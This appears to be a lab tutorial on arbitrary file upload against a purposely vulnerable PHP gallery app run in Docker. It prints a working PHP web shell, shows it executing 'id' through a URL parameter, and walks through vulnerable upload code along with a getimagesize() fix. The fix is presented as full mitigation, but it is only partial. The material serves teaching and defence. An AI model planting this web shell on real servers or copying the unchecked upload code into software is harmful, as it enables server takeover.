Arbitrary File Upload is a type of command injection technique in which a malicious user can upload a malicious file on the web server (generally a web shell page) to execute arbitrary commands on the web application.

For example, a vulnerable PHP application allows an user to upload a PHP page onto the server, then the newly uploaded malicious page can be browsed by the malicious user to perform malicious actions provided by the newly uploaded PHP page.

In the following guide, we will be using the same vulnerable sample application used in the previous section of Arbitrary Command Injection, to upload a maliciously crafted web shell written in PHP.

Note

A web shell is a shell-like interface (typically a web page with a input field to take command as input and output field to display the executed command output) to remotely interact with the web server hosting the application, allowing execution of arbitrary commands.

How it works

All the examples shown below uses a docker image containing the example application. The guide to install the same can be found on Docker Docs .

A sample application where a gallery is maintained and the user can upload or delete a file from the gallery as per their convenience.

Run the application using docker:

docker run --rm -p8080:80 --name command_injection projectasuras/command_injection

Note: Docker image version shown in the guide is v1.0.0.

Now navigate to http://127.0.0.1:8080 to access the application’s web portal.

Now’s lets try to upload some images into the application, by clicking on Upload New Image or navigate to http://127.0.0.1:8080/upload.php URL. And select the image file you intend to upload.

Now, click on Upload Image button to upload the image on the application.

Once, the files are uploaded click on Back to Gallery or navigating the http://127.0.0.1:8080/ endpoint.

Note

If the application supports uploading of a file (in any form possible like direct file upload or input being rendered to a file), then the application needs to be analysed for Arbitrary File Upload vulnerability i.e. uploading of a file which the application developers did not intended to be uploaded onto the server.

As our sample Gallery application is developed to upload images onto the application. Let’s try to upload a pdf file for testing whether it is allowing a pdf file to be uploaded onto the server.

Now, let’s hit the Upload Image button to check whether we have encountered any error not during uploading of a pdf file.

The application seemed to have uploaded the file by displaying the message “File is valid, and was successfully uploaded.”. But let’s double check whether our asuras.pdf file have been uploaded to the Gallery or not by visiting the homepage of the application.

Question

How to access this newly uploaded webshell.php from our browser?

Let’s try to view the .pdf file by hitting the View operation on the Gallery application.

A failed attempt, SAD!!. Seems like the view.php internally is using image rendering logic and therefore unable to process the pdf file uploaded by us. But let’s not loose our hopes, if the source code of the application is available then we can look into it to check the directory of the file uploads. If the source code is not available, then we can use directory brute-force approach by trying different keywords such as storage, upload, images, files, etc.

By performing the above mentioned technique we are able to find the upload path of all the files be /uploads/. So, let’s modify the URL endpoint to http://127.0.0.1:8080/uploads/asuras.pdf and view the uploaded pdf file.

Voila!!! We are able to view the pdf file uploaded. Now, let’s try to upload a file which can facilitate use to execute arbitrary commands on the Gallery’s application server.

As our Gallery application is written in PHP, let’s try to create a simple PHP web shell.

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>

The above PHP code takes cmd as a GET parameter for passing the command to the shell_exec PHP function to execute arbitrary commands on the shell.

Let’s try to upload this .php file onto the Gallery application.

Now, let’s hit the Upload Image button to check whether we have encountered any error or not during uploading of a php file.

File have been uploaded and can be verified by visiting the index page of the website.

Now, let’s try to access our shell.php using:

http://127.0.0.1:8080/uploads/shell.php

But the above URL endpoint results in a blank screen, as we have not provided the GET parameter cmd while accessing the web shell. Let’s try to execute the id command.

http://127.0.0.1:8080/uploads/shell.php?cmd=id

The id command is executed on the web server and the response of the same is visible on the web page, therefore successfully executing the Arbitrary File Upload vulnerability on the Gallery application.

Source Code Evaluation

To evaluate the source code of the application and find the root cause of the vulnerability, we need to evaluate the upload.php file, as upload.php is the endpoint allowing us to upload arbitrary files onto the server.

To interactively attach the shell inside docker, use the following command:

docker exec -it command_injection /bin/bash

The source code of upload.php is as follows:

<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_FILES['image']) && $_FILES['image']['error'] == UPLOAD_ERR_OK) {
        $uploadDir = 'uploads/';
        $uploadFile = $uploadDir . basename($_FILES['image']['name']);
 
        // upload the file
        if (move_uploaded_file($_FILES['image']['tmp_name'], $uploadFile)) {
            $uploadMessage = "File is valid, and was successfully uploaded.";
        } else {
            $uploadMessage = "Possible file upload attack!";
        }
    } else {
        $uploadMessage = "No file uploaded or upload error occurred.";
    }
}
?>

Initially the developer have verified whether the request is a POST request or not, as mentioned in Line 2 of the file.

if ($_SERVER['REQUEST_METHOD'] == 'POST')

If a POST request is triggered by the user, then the user is checking whether a file named image is passed as part of the data and no error is encountered during the upload.

if (isset($_FILES['image']) && $_FILES['image']['error'] == UPLOAD_ERR_OK)

The $uploadDir variable stores the directory of the file to be uploaded i.e. uploads/, and $uploadFile creates the file path for storing the file using the filename of the file being uploaded.

The problem lies in the code segment mentioned below:

// upload the file
if (move_uploaded_file($_FILES['image']['tmp_name'], $uploadFile)) {
	$uploadMessage = "File is valid, and was successfully uploaded.";
} else {
	$uploadMessage = "Possible file upload attack!";
}

Bug

The developer is storing the file irrespective of checking whether the file is an image or not. Due to which, any arbitrary file can be uploaded onto the web server.

To overcome this issue we will add the file checking logic before actually moving our file from /tmp storage to our uploads/ directory.

// Check if the file is an image
$check = getimagesize($_FILES['image']['tmp_name']);
if ($check !== false) {
	// upload the file
	if (move_uploaded_file($_FILES['image']['tmp_name'], $uploadFile)) {
		$uploadMessage = "File is valid, and was successfully uploaded.";
	} else {
		$uploadMessage = "Possible file upload attack!";
	}
} else {
	$uploadMessage = "File is not an image.\n";
}

The above code snippet uses getimagesize() 1 to get the size of an image. This function call will return a false in case, the file is not a valid image. Let’s modify our web server’s upload.php file to check whether we are able to upload a .php file again.

Now let’s click the Upload Image button to upload .php file.

We have now encountered a message stating that the “File is not an image” and therefore not uploaded onto the server, therefore mitigating the Arbitrary File Upload vulnerability and hence only valid image files can be uploaded to the server.

This guide demonstrated the command injection vulnerability and it’s different types.

Soon there will be separate guides to explain the Deserialization and XML external entity injection attacks.

Task

The sample gallery application is also vulnerable to one more attack vector. Can you spot and use that vulnerability to extract some crucial information. Hint: Path Traversal

You can checkout our blog to learn about Path Traversal vulnerability.

Footnotes

  1. https://www.php.net/manual/en/function.getimagesize.php